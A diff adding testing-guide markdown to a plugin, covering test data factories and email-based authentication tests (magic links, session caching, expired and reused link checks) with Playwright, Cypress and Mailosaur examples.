+  stock: faker.number.int({ min: 0, max: 100 }),
+  category: faker.commerce.department(),
+  ...overrides,
+});
+
+// Usage in tests:
+test('admin can delete users', async ({ page, apiRequest }) => {
+  // Default user
+  const user = createUser();
+
+  // Admin user (explicit override shows intent)
+  const admin = createUser({ role: 'admin' });
+
+  // Seed via API (fast!)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+
+  // Now test UI behavior
+  await page.goto('/admin/users');
+  await page.click(`[data-testid="delete-user-${user.id}"]`);
+  await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `Partial<User>` allows overriding any field without breaking type safety
+- Faker generates unique values—no collisions in parallel tests
+- Override shows test intent: `createUser({ role: 'admin' })` is explicit
+- Factory lives in `test-utils/factories/` for easy reuse
+
+### Example 2: Nested Factory Pattern
+
+**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/order-factory.ts
+import { createUser } from './user-factory';
+import { createProduct } from './product-factory';
+
+type OrderItem = {
+  product: Product;
+  quantity: number;
+  price: number;
+};
+
+type Order = {
+  id: string;
+  user: User;
+  items: OrderItem[];
+  total: number;
+  status: 'pending' | 'paid' | 'shipped' | 'delivered';
+  createdAt: Date;
+};
+
+export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
+  const product = overrides.product || createProduct();
+  const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
+
+  return {
+    product,
+    quantity,
+    price: product.price * quantity,
+    ...overrides,
+  };
+};
+
+export const createOrder = (overrides: Partial<Order> = {}): Order => {
+  const items = overrides.items || [createOrderItem(), createOrderItem()];
+  const total = items.reduce((sum, item) => sum + item.price, 0);
+
+  return {
+    id: faker.string.uuid(),
+    user: overrides.user || createUser(),
+    items,
+    total,
+    status: 'pending',
+    createdAt: new Date(),
+    ...overrides,
+  };
+};
+
+// Usage in tests:
+test('user can view order details', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com' });
+  const product1 = createProduct({ name: 'Widget A', price: 10.0 });
+  const product2 = createProduct({ name: 'Widget B', price: 15.0 });
+
+  // Explicit relationships
+  const order = createOrder({
+    user,
+    items: [
+      createOrderItem({ product: product1, quantity: 2 }), // $20
+      createOrderItem({ product: product2, quantity: 1 }), // $15
+    ],
+  });
+
+  // Seed via API
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
+  await apiRequest({ method: 'POST', url: '/api/orders', data: order });
+
+  // Test UI
+  await page.goto(`/orders/${order.id}`);
+  await expect(page.getByText('Widget A x 2')).toBeVisible();
+  await expect(page.getByText('Widget B x 1')).toBeVisible();
+  await expect(page.getByText('Total: $35.00')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Nested factories handle relationships (order → user, order → products)
+- Overrides cascade: provide custom user/products or use defaults
+- Calculated fields (total) derived automatically from nested data
+- Explicit relationships make test data clear and maintainable
+
+### Example 3: Factory with API Seeding
+
+**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/seed-helpers.ts
+import { APIRequestContext } from '@playwright/test';
+import { User, createUser } from '../../test-utils/factories/user-factory';
+import { Product, createProduct } from '../../test-utils/factories/product-factory';
+
+export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
+  const user = createUser(overrides);
+
+  const response = await request.post('/api/users', {
+    data: user,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed user: ${response.status()}`);
+  }
+
+  return user;
+}
+
+export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
+  const product = createProduct(overrides);
+
+  const response = await request.post('/api/products', {
+    data: product,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed product: ${response.status()}`);
+  }
+
+  return product;
+}
+
+// Playwright globalSetup for shared data
+// playwright/support/global-setup.ts
+import { chromium, FullConfig } from '@playwright/test';
+import { seedUser } from './helpers/seed-helpers';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  const context = page.context();
+
+  // Seed admin user for all tests
+  const admin = await seedUser(context.request, {
+    email: 'admin@example.com',
+    role: 'admin',
+  });
+
+  // Save auth state for reuse
+  await context.storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+export default globalSetup;
+
+// Cypress equivalent with cy.task
+// cypress/support/tasks.ts
+export const seedDatabase = async (entity: string, data: unknown) => {
+  // Direct database insert or API call
+  if (entity === 'users') {
+    await db.users.create(data);
+  }
+  return null;
+};
+
+// Usage in Cypress tests:
+beforeEach(() => {
+  const user = createUser({ email: 'test@example.com' });
+  cy.task('db:seed', { entity: 'users', data: user });
+});
+```
+
+**Key Points**:
+
+- API seeding is 10-50x faster than UI-based setup
+- `globalSetup` seeds shared data once (e.g., admin user)
+- Per-test seeding uses `seedUser()` helpers for isolation
+- Cypress `cy.task` allows direct database access for speed
+
+### Example 4: Anti-Pattern - Hardcoded Test Data
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Hardcoded test data
+test('user can login', async ({ page }) => {
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
+  await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
+  await page.click('[data-testid="submit"]');
+
+  // What if this user already exists? Test fails in parallel runs.
+  // What if schema adds required fields? Test breaks.
+});
+
+// ❌ BAD: Static JSON fixtures
+// fixtures/users.json
+{
+  "users": [
+    { "id": 1, "email": "user1@test.com", "name": "User 1" },
+    { "id": 2, "email": "user2@test.com", "name": "User 2" }
+  ]
+}
+
+test('admin can delete user', async ({ page }) => {
+  const users = require('../fixtures/users.json');
+  // Brittle: IDs collide in parallel, schema drift breaks tests
+});
+```
+
+**Why It Fails**:
+
+- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
+- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
+- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
+- **Slow setup**: UI-based data creation is 10-50x slower than API
+
+**Better Approach**: Use factories
+
+```typescript
+// ✅ GOOD: Factory-based data
+test('user can login', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'unique@example.com', password: 'secure123' });
+
+  // Seed via API (fast, parallel-safe)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+
+  // Test UI
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', user.email);
+  await page.fill('[data-testid="password"]', user.password);
+  await page.click('[data-testid="submit"]');
+
+  await expect(page).toHaveURL('/dashboard');
+});
+
+// ✅ GOOD: Factories adapt to schema changes automatically
+// When `phoneNumber` becomes required, update factory once:
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
+  role: 'user',
+  ...overrides,
+});
+```
+
+**Key Points**:
+
+- Factories generate unique, parallel-safe data
+- Schema evolution handled in one place (factory), not every test
+- Test intent explicit via overrides
+- API seeding is fast and reliable
+
+### Example 5: Factory Composition
+
+**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts (base)
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// Compose specialized factories
+export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
+
+export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
+
+export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
+
+// Account-level factories with feature flags
+type Account = {
+  id: string;
+  owner: User;
+  plan: 'free' | 'pro' | 'enterprise';
+  features: string[];
+  maxUsers: number;
+};
+
+export const createAccount = (overrides: Partial<Account> = {}): Account => ({
+  id: faker.string.uuid(),
+  owner: overrides.owner || createUser(),
+  plan: 'free',
+  features: [],
+  maxUsers: 1,
+  ...overrides,
+});
+
+export const createProAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'pro',
+    features: ['advanced-analytics', 'priority-support'],
+    maxUsers: 10,
+    ...overrides,
+  });
+
+export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'enterprise',
+    features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
+    maxUsers: 100,
+    ...overrides,
+  });
+
+// Usage in tests:
+test('pro accounts can access analytics', async ({ page, apiRequest }) => {
+  const admin = createAdminUser({ email: 'admin@company.com' });
+  const account = createProAccount({ owner: admin });
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Advanced Analytics')).toBeVisible();
+});
+
+test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'user@company.com' });
+  const account = createAccount({ owner: user }); // Defaults to free plan
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Upgrade to Pro')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Compose specialized factories from base factories (`createAdminUser` → `createUser`)
+- Defaults cascade: `createProAccount` sets plan + features automatically
+- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
+- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Pure functions and fixtures for factory integration
+  - `network-first.md` - API-first setup patterns
+  - `test-quality.md` - Parallel-safe, deterministic test design
+
+## Cleanup Strategy
+
+Ensure factories work with cleanup patterns:
+
+```typescript
+// Track created IDs for cleanup
+const createdUsers: string[] = [];
+
+afterEach(async ({ apiRequest }) => {
+  // Clean up all users created during test
+  for (const userId of createdUsers) {
+    await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
+  }
+  createdUsers.length = 0;
+});
+
+test('user registration flow', async ({ page, apiRequest }) => {
+  const user = createUser();
+  createdUsers.push(user.id);
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  // ... test logic
+});
+```
+
+## Feature Flag Integration
+
+When working with feature flags, layer them into factories:
+
+```typescript
+export const createUserWithFlags = (
+  overrides: Partial<User> = {},
+  flags: Record<string, boolean> = {},
+): User & { flags: Record<string, boolean> } => ({
+  ...createUser(overrides),
+  flags: {
+    'new-dashboard': false,
+    'beta-features': false,
+    ...flags,
+  },
+});
+
+// Usage:
+const user = createUserWithFlags(
+  { email: 'test@example.com' },
+  {
+    'new-dashboard': true,
+    'beta-features': true,
+  },
+);
+```
+
+_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/email-auth.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/email-auth.md
new file mode 100644
index 0000000..653a8eb
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/email-auth.md
@@ -0,0 +1,721 @@
+# Email-Based Authentication Testing
+
+## Principle
+
+Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
+
+## Rationale
+
+Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
+
+## Pattern Examples
+
+### Example 1: Magic Link Extraction with Mailosaur
+
+**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/magic-link-auth.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Magic Link Authentication Flow
+ * 1. User enters email
+ * 2. Backend sends magic link
+ * 3. Test retrieves email via Mailosaur
+ * 4. Extract and visit magic link
+ * 5. Verify user is authenticated
+ */
+
+// Mailosaur configuration
+const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+/**
+ * Extract href from HTML email body
+ * DOMParser provides XML/HTML parsing in Node.js
+ */
+function extractMagicLink(htmlString: string): string | null {
+  const { JSDOM } = require('jsdom');
+  const dom = new JSDOM(htmlString);
+  const link = dom.window.document.querySelector('#magic-link-button');
+  return link ? (link as HTMLAnchorElement).href : null;
+}
+
+/**
+ * Alternative: Use Mailosaur's built-in link extraction
+ * Mailosaur automatically parses links - no regex needed!
+ */
+async function getMagicLinkFromEmail(email: string): Promise<string> {
+  const MailosaurClient = require('mailosaur');
+  const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
+
+  // Wait for email (timeout: 30 seconds)
+  const message = await mailosaur.messages.get(
+    MAILOSAUR_SERVER_ID,
+    {
+      sentTo: email,
+    },
+    {
+      timeout: 30000, // 30 seconds
+    },
+  );
+
+  // Mailosaur extracts links automatically - no parsing needed!
+  const magicLink = message.html?.links?.[0]?.href;
+
+  if (!magicLink) {
+    throw new Error(`Magic link not found in email to ${email}`);
+  }
+
+  console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
+  return magicLink;
+}
+
+test.describe('Magic Link Authentication', () => {
+  test('should authenticate user via magic link', async ({ page, context }) => {
+    // Arrange: Generate unique test email
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Act: Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Assert: Success message
+    await expect(page.getByTestId('check-email-message')).toBeVisible();
+    await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
+
+    // Retrieve magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit magic link
+    await page.goto(magicLink);
+
+    // Assert: User is authenticated
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+    await expect(page.getByTestId('user-email')).toContainText(testEmail);
+
+    // Verify session storage preserved
+    const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
+    expect(localStorage).toContain('authToken');
+  });
+
+  test('should handle expired magic link', async ({ page }) => {
+    // Use pre-expired link (older than 15 minutes)
+    const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
+
+    await page.goto(expiredLink);
+
+    // Assert: Error message displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has expired');
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should prevent reusing magic link', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link first time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('sign-out').click();
+
+    // Try to reuse same link (should fail)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has already been used');
+  });
+});
+```
+
+**Cypress equivalent with Mailosaur plugin**:
+
+```javascript
+// cypress/e2e/magic-link-auth.cy.ts
+describe('Magic Link Authentication', () => {
+  it('should authenticate user via magic link', () => {
+    const serverId = Cypress.env('MAILOSAUR_SERVERID');
+    const randomId = Cypress._.random(1e6);
+    const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
+
+    // Request magic link
+    cy.visit('/login');
+    cy.get('[data-cy="email-input"]').type(testEmail);
+    cy.get('[data-cy="send-magic-link"]').click();
+    cy.get('[data-cy="check-email-message"]').should('be.visible');
+
+    // Retrieve and visit magic link
+    cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
+      .its('html.links.0.href') // Mailosaur extracts links automatically!
+      .should('exist')
+      .then((magicLink) => {
+        cy.log(`Magic link: ${magicLink}`);
+        cy.visit(magicLink);
+      });
+
+    // Verify authenticated
+    cy.get('[data-cy="user-menu"]').should('be.visible');
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+});
+```
+
+**Key Points**:
+
+- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
+- **Unique emails**: Random ID prevents collisions
+- **Negative testing**: Expired and reused links tested
+- **State verification**: localStorage/session checked
+- **Fast email retrieval**: 30 second timeout typical
+
+---
+
+### Example 2: State Preservation Pattern with cy.session / Playwright storageState
+
+**Context**: Cache authenticated session to avoid requesting magic link on every test.
+
+**Implementation**:
+
+```typescript
+// playwright/fixtures/email-auth-fixture.ts
+import { test as base } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+type EmailAuthFixture = {
+  authenticatedUser: { email: string; token: string };
+};
+
+export const test = base.extend<EmailAuthFixture>({
+  authenticatedUser: async ({ page, context }, use) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Check if we have cached auth state for this email
+    const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
+
+    try {
+      // Try to reuse existing session
+      await context.storageState({ path: storageStatePath });
+      await page.goto('/dashboard');
+
+      // Validate session is still valid
+      const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
+
+      if (isAuthenticated) {
+        console.log(`✅ Reusing cached session for ${testEmail}`);
+        await use({ email: testEmail, token: 'cached' });
+        return;
+      }
+    } catch (error) {
+      console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
+    }
+
+    // Request new magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Get magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link and authenticate
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Extract auth token from localStorage
+    const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
+
+    // Save session state for reuse
+    await context.storageState({ path: storageStatePath });
+
+    console.log(`💾 Cached session for ${testEmail}`);
+
+    await use({ email: testEmail, token: authToken || '' });
+  },
+});
+```
+
+**Cypress equivalent with cy.session + data-session**:
+
+```javascript
+// cypress/support/commands/email-auth.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Authenticate via magic link with session caching
+ * - First run: Requests email, extracts link, authenticates
+ * - Subsequent runs: Reuses cached session (no email)
+ */
+Cypress.Commands.add('authViaMagicLink', (email) => {
+  return dataSession({
+    name: `magic-link-${email}`,
+
+    // First-time setup: Request and process magic link
+    setup: () => {
+      cy.visit('/login');
+      cy.get('[data-cy="email-input"]').type(email);
+      cy.get('[data-cy="send-magic-link"]').click();
+
+      // Get magic link from Mailosaur
+      cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
+        sentTo: email,
+      })
+        .its('html.links.0.href')
+        .should('exist')
+        .then((magicLink) => {
+          cy.visit(magicLink);
+        });
+
+      // Wait for authentication
+      cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
+
+      // Preserve authentication state
+      return cy.getAllLocalStorage().then((storage) => {
+        return { storage, email };
+      });
+    },
+
+    // Validate cached session is still valid
+    validate: (cached) => {
+      return cy.wrap(Boolean(cached?.storage));
+    },
+
+    // Recreate session from cache (no email needed)
+    recreate: (cached) => {
+      // Restore localStorage
+      cy.setLocalStorage(cached.storage);
+      cy.visit('/dashboard');
+      cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
+    },
+
+    shareAcrossSpecs: true, // Share session across all tests
+  });
+});
+```
+
+**Usage in tests**:
+
+```javascript
+// cypress/e2e/dashboard.cy.ts
+describe('Dashboard', () => {
+  const serverId = Cypress.env('MAILOSAUR_SERVERID');
+  const testEmail = `test-user@${serverId}.mailosaur.net`;
+
+  beforeEach(() => {
+    // First test: Requests magic link
+    // Subsequent tests: Reuses cached session (no email!)
+    cy.authViaMagicLink(testEmail);
+  });
+
+  it('should display user dashboard', () => {
+    cy.get('[data-cy="dashboard-content"]').should('be.visible');
+  });
+
+  it('should show user profile', () => {
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+
+  // Both tests share same session - only 1 email consumed!
+});
+```
+
+**Key Points**:
+
+- **Session caching**: First test requests email, rest reuse session
+- **State preservation**: localStorage/cookies saved and restored
+- **Validation**: Check cached session is still valid
+- **Quota optimization**: Massive reduction in email consumption
+- **Fast tests**: Cached auth takes seconds vs. minutes
+
+---
+
+### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
+
+**Context**: Comprehensive negative testing for email authentication edge cases.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/email-auth-negative.spec.ts
+import { test, expect } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+test.describe('Email Auth Negative Flows', () => {
+  test('should reject expired magic link', async ({ page }) => {
+    // Generate expired link (simulate 24 hours ago)
+    const expiredToken = Buffer.from(
+      JSON.stringify({
+        email: 'test@example.com',
+        exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
+      }),
+    ).toString('base64');
+
+    const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
+
+    // Visit expired link
+    await page.goto(expiredLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
+
+    // Assert: Link to request new one
+    await expect(page.getByTestId('request-new-link')).toBeVisible();
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject invalid magic link token', async ({ page }) => {
+    const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
+
+    await page.goto(invalidLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject already-used magic link', async ({ page, context }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link FIRST time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('user-menu').click();
+    await page.getByTestId('sign-out').click();
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+
+    // Try to reuse SAME link (should fail)
+    await page.goto(magicLink);
+
+    // Assert: Link already used error
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should handle rapid successive link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 3 times rapidly
+    for (let i = 0; i < 3; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+      await expect(page.getByTestId('check-email-message')).toBeVisible();
+    }
+
+    // Only the LATEST link should work
+    const MailosaurClient = require('mailosaur');
+    const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
+
+    const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
+      sentTo: testEmail,
+    });
+
+    // Should receive 3 emails
+    expect(messages.items.length).toBeGreaterThanOrEqual(3);
+
+    // Get the LATEST magic link
+    const latestMessage = messages.items[0]; // Most recent first
+    const latestLink = latestMessage.html.links[0].href;
+
+    // Latest link works
+    await page.goto(latestLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Older links should NOT work (if backend invalidates previous)
+    await page.getByTestId('sign-out').click();
+    const olderLink = messages.items[1].html.links[0].href;
+
+    await page.goto(olderLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+  });
+
+  test('should rate-limit excessive magic link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 10 times rapidly (should hit rate limit)
+    for (let i = 0; i < 10; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+
+      // After N requests, should show rate limit error
+      const errorVisible = await page
+        .getByTestId('rate-limit-error')
+        .isVisible({ timeout: 1000 })
+        .catch(() => false);
+
+      if (errorVisible) {
+        console.log(`Rate limit hit after ${i + 1} requests`);
+        await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
+        return;
+      }
+    }
+
+    // If no rate limit after 10 requests, log warning
+    console.warn('⚠️  No rate limit detected after 10 requests');
+  });
+});
+```
+
+**Key Points**:
+
+- **Expired links**: Test 24+ hour old tokens
+- **Invalid tokens**: Malformed or garbage tokens rejected
+- **Reuse prevention**: Same link can't be used twice
+- **Rapid requests**: Multiple requests handled gracefully
+- **Rate limiting**: Excessive requests blocked
+
+---
+
+### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
+
+**Context**: Minimize email consumption by sharing authentication state across tests and specs.
+
+**Implementation**:
+
+```javascript
+// cypress/support/commands/register-and-sign-in.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Email Authentication Caching Strategy
+ * - One email per test run (not per spec, not per test)
+ * - First spec: Full registration flow (form → email → code → sign in)
+ * - Subsequent specs: Only sign in (reuse user)
+ * - Subsequent tests in same spec: Session already active (no sign in)
+ */
+
+// Helper: Fill registration form
+function fillRegistrationForm({ fullName, userName, email, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Register').click();
+  cy.get('#reg-dialog-form').should('be.visible');
+  cy.get('#first-name').type(fullName, { delay: 0 });
+  cy.get('#last-name').type(lastName, { delay: 0 });
+  cy.get('#email').type(email, { delay: 0 });
+  cy.get('#username').type(userName, { delay: 0 });
+  cy.get('#password').type(password, { delay: 0 });
+  cy.contains('button', 'Create an account').click();
+  cy.wait('@cognito').its('response.statusCode').should('equal', 200);
+}
+
+// Helper: Confirm registration with email code
+function confirmRegistration(email) {
+  return cy
+    .mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
+    .its('html.codes.0.value') // Mailosaur auto-extracts codes!
+    .then((code) => {
+      cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+      cy.get('#verification-code').type(code, { delay: 0 });
+      cy.contains('button', 'Confirm registration').click();
+      cy.wait('@cognito');
+      cy.contains('You are now registered!').should('be.visible');
+      cy.contains('button', /ok/i).click();
+      return cy.wrap(code); // Return code for reference
+    });
+}
+
+// Helper: Full registration (form + email)
+function register({ fullName, userName, email, password }) {
+  fillRegistrationForm({ fullName, userName, email, password });
+  return confirmRegistration(email);
+}
+
+// Helper: Sign in
+function signIn({ userName, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Sign in').click();
+  cy.get('#sign-in-username').type(userName, { delay: 0 });
+  cy.get('#sign-in-password').type(password, { delay: 0 });
+  cy.contains('button', 'Sign in').click();
+  cy.wait('@cognito');
+  cy.contains('Sign out').should('be.visible');
+}
+
+/**
+ * Register and sign in with email caching
+ * ONE EMAIL PER MACHINE (cypress run or cypress open)
+ */
+Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
+  return dataSession({
+    name: email, // Unique session per email
+
+    // First time: Full registration (form → email → code)
+    init: () => register({ fullName, userName, email, password }),
+
+    // Subsequent specs: Just check email exists (code already used)
+    setup: () => confirmRegistration(email),
+
+    // Always runs after init/setup: Sign in
+    recreate: () => signIn({ userName, password }),
+
+    // Share across ALL specs (one email for entire test run)
+    shareAcrossSpecs: true,
+  });
+});
+```
+
+**Usage across multiple specs**:
+
+```javascript
